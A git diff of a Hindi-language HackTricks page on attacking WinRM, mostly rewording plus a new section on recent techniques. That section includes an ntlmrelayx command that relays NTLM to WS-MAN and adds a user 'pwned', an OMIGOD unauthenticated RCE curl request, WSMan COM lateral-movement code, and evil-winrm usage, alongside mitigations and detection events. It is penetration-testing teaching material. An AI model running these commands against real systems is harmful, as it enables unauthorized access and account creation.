diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 2331934ca..4f4c67d98 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -4,9 +4,9 @@ ## WinRM -[Windows Remote Management (WinRM)]() को **Microsoft द्वारा एक प्रोटोकॉल** के रूप में उजागर किया गया है जो **Windows सिस्टम का दूरस्थ प्रबंधन** HTTP(S) के माध्यम से सक्षम करता है, प्रक्रिया में SOAP का उपयोग करते हुए। यह मूल रूप से WMI द्वारा संचालित है, जो WMI संचालन के लिए HTTP-आधारित इंटरफेस के रूप में प्रस्तुत होता है। +[Windows Remote Management (WinRM)]() को **Microsoft द्वारा एक प्रोटोकॉल** के रूप में उजागर किया गया है जो **Windows सिस्टम का दूरस्थ प्रबंधन** HTTP(S) के माध्यम से सक्षम करता है, प्रक्रिया में SOAP का उपयोग करते हुए। यह मूल रूप से WMI द्वारा संचालित है, जो WMI संचालन के लिए HTTP-आधारित इंटरफ़ेस के रूप में प्रस्तुत होता है। -किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सरल दूरस्थ प्रशासन की अनुमति देती है, जैसे SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है: +किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सरल दूरस्थ प्रशासन की अनुमति देती है, जैसे कि SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** @@ -20,9 +20,9 @@ PowerShell को WinRM के लिए कॉन्फ़िगर करन Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -इस दृष्टिकोण में `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ना शामिल है, जो इसके प्रभावों के कारण सावधानीपूर्वक विचार की आवश्यकता होती है। यह भी नोट किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है। +यह दृष्टिकोण `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ने से संबंधित है, यह एक ऐसा कदम है जिसे इसके प्रभावों के कारण सावधानीपूर्वक विचार करने की आवश्यकता है। यह भी नोट किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है। -इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से** सक्रिय किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है: +इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से सक्रिय** किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है: ```bash wmic /node: process call create "powershell enable-psremoting -force" ``` @@ -30,7 +30,7 @@ wmic /node: process call create "powershell enable-psremoting -forc ### परीक्षण करें कि क्या कॉन्फ़िगर किया गया है -अपने हमले की मशीन के सेटअप की पुष्टि करने के लिए, `Test-WSMan` कमांड का उपयोग किया जाता है यह जांचने के लिए कि क्या लक्ष्य पर WinRM सही ढंग से कॉन्फ़िगर किया गया है। इस कमांड को निष्पादित करने पर, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की अपेक्षा करनी चाहिए, जो सफल कॉन्फ़िगरेशन को इंगित करता है। नीचे एक कॉन्फ़िगर किए गए लक्ष्य और एक गैर-कॉन्फ़िगर किए गए लक्ष्य के लिए अपेक्षित आउटपुट को प्रदर्शित करने वाले उदाहरण दिए गए हैं: +अपने हमले की मशीन के सेटअप की पुष्टि करने के लिए, `Test-WSMan` कमांड का उपयोग किया जाता है यह जांचने के लिए कि क्या लक्ष्य पर WinRM सही ढंग से कॉन्फ़िगर किया गया है। इस कमांड को निष्पादित करके, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की अपेक्षा करनी चाहिए, जो सफल कॉन्फ़िगरेशन को इंगित करता है। नीचे एक कॉन्फ़िगर किए गए लक्ष्य और एक असंरचित लक्ष्य के लिए अपेक्षित आउटपुट को प्रदर्शित करने वाले उदाहरण दिए गए हैं: - एक लक्ष्य जो **सही** ढंग से कॉन्फ़िगर किया गया है, उसका आउटपुट इस तरह दिखेगा: ```bash @@ -46,13 +46,13 @@ Test-WSMan ### एक कमांड निष्पादित करें -लक्ष्य मशीन पर `ipconfig` को दूरस्थ रूप से निष्पादित करने और इसके आउटपुट को देखने के लिए करें: +लक्षित मशीन पर `ipconfig` को दूरस्थ रूप से निष्पादित करने और इसके आउटपुट को देखने के लिए करें: ```bash Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) -आप अपने वर्तमान PS कंसोल का **कमांड भी _**Invoke-Command**_ के माध्यम से चला सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से _**enumeration**_ नामक एक फ़ंक्शन है और आप इसे **एक दूरस्थ कंप्यूटर पर चलाना चाहते हैं**, तो आप ऐसा कर सकते हैं: +आप अपने वर्तमान PS कंसोल का एक कमांड **_**Invoke-Command**_ के माध्यम से भी **निष्पादित कर सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से एक फ़ंक्शन है जिसे _**enumeration**_ कहा जाता है और आप इसे **एक दूरस्थ कंप्यूटर पर निष्पादित करना चाहते हैं**, तो आप कर सकते हैं: ```bash Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` @@ -85,11 +85,11 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New ``` ![](<../images/image (1009).png>) -**सत्र एक नए प्रक्रिया (wsmprovhost) में "शिकार" के अंदर चलेगा** +**सत्र एक नए प्रोसेस (wsmprovhost) में "शिकार" के अंदर चलेगा** ### **WinRM को खोलने के लिए मजबूर करना** -PS Remoting और WinRM का उपयोग करने के लिए लेकिन कंप्यूटर कॉन्फ़िगर नहीं है, आप इसे सक्षम कर सकते हैं: +PS Remoting और WinRM का उपयोग करने के लिए, लेकिन यदि कंप्यूटर कॉन्फ़िगर नहीं है, तो आप इसे सक्षम कर सकते हैं: ```bash .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` @@ -220,8 +220,74 @@ end - `port:5985 Microsoft-HTTPAPI` +--- + +## हाल की कमजोरियाँ और आक्रामक तकनीकें (2021-2025) + +### NTLM रिले सीधे WinRM (WS-MAN) पर +Impacket 0.11 (मई 2023) से `ntlmrelayx.py` कैप्चर किए गए NTLM क्रेडेंशियल्स को सीधे **WS-MAN**/WinRM लिस्नर पर रिले कर सकता है। जब एक होस्ट **अनएन्क्रिप्टेड HTTP (5985)** पर सुनता है, तो एक हमलावर *mitm6* (या *Responder*) को संयोजित कर सकता है ताकि प्रमाणीकरण को मजबूर किया जा सके और SYSTEM-स्तरीय कोड-एक्ज़ीक्यूशन प्राप्त किया जा सके: +```bash +sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \ +--command "net user pwned P@ssw0rd! /add" +``` +Mitigations +* HTTP लिस्नर्स को अक्षम करें – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false` +* HTTPS को मजबूर करें और हाल के Windows संस्करणों पर प्रमाणीकरण (EPA) के लिए विस्तारित सुरक्षा सक्षम करें। + +### OMIGOD – CVE-2021-38647 (Azure OMI) +Azure Linux एजेंट **Open Management Infrastructure (OMI)** सेवा का उपयोग करते हैं जो **5985/5986** पोर्ट पर WinRM/WS-MAN API को उजागर करता है। एक लॉजिक त्रुटि ने **रूट के रूप में बिना प्रमाणीकरण RCE** की अनुमति दी: +```text +curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '' +``` +OMI (संस्करण ≥ 1.6.8-1) को पैच करें या हटा दें और उन पोर्टों को इंटरनेट से ब्लॉक करें। + +### WSMan.Automation COM का दुरुपयोग पार्श्व आंदोलन के लिए +WinRM को `WSMan.Automation` COM ऑब्जेक्ट के माध्यम से PowerShell के बिना चलाया जा सकता है - यह सीमित-भाषा मोड में सिस्टम पर उपयोगी है। *SharpWSManWinRM* जैसे उपकरण इस तकनीक को लपेटते हैं: +```powershell +$ws = New-Object -ComObject 'WSMan.Automation' +$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null) +$cmdId = $session.Command('cmd.exe',@('/c','whoami')) +$session.Signal($cmdId,0) +``` +The execution chain (`svchost → wmiprvse → cmd.exe`) क्लासिक PS-Remoting के समान है। + +--- + +## Tooling updates + +* **Evil-WinRM v3.x (2024)** – अब **Kerberos** (`-k` / `--spn`) और **certificate-based** प्रमाणीकरण (`--cert-pem`/`--key-pem`), सत्र लॉगिंग (`-L`) और दूरस्थ पथ पूर्णता को अक्षम करने की क्षमता (`-N`) का समर्थन करता है। + +```bash +RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST +``` + +* **Python – `pypsrp` 0.9 (2024)** Linux से WinRM & PS-Remoting की पेशकश करता है, जिसमें CredSSP और Kerberos शामिल हैं: + +```python +from psrp.client import Client +c = Client('srv01', username='ACME\\j.doe', ssl=True) +print(c.execute_cmd('ipconfig /all').std_out.decode()) +``` + +* **Detection** – **Microsoft-Windows-WinRM/Operational** लॉग की निगरानी करें: +* Event 91 / 163 – शेल बनाया गया +* Event 182 – प्रमाणीकरण विफलता +* सुरक्षा लॉग में घटना 4262 स्रोत IP को रिकॉर्ड करती है (जुलाई 2022 CUs में जोड़ा गया)। +इनको केंद्रीय रूप से एकत्र करें और गुमनाम या बाहरी IPs पर अलर्ट करें। + +--- + +## Shodan + +- `port:5985 Microsoft-HTTPAPI` + ## References +- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) +- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/) +- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure) + + - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## HackTricks Automatic Commands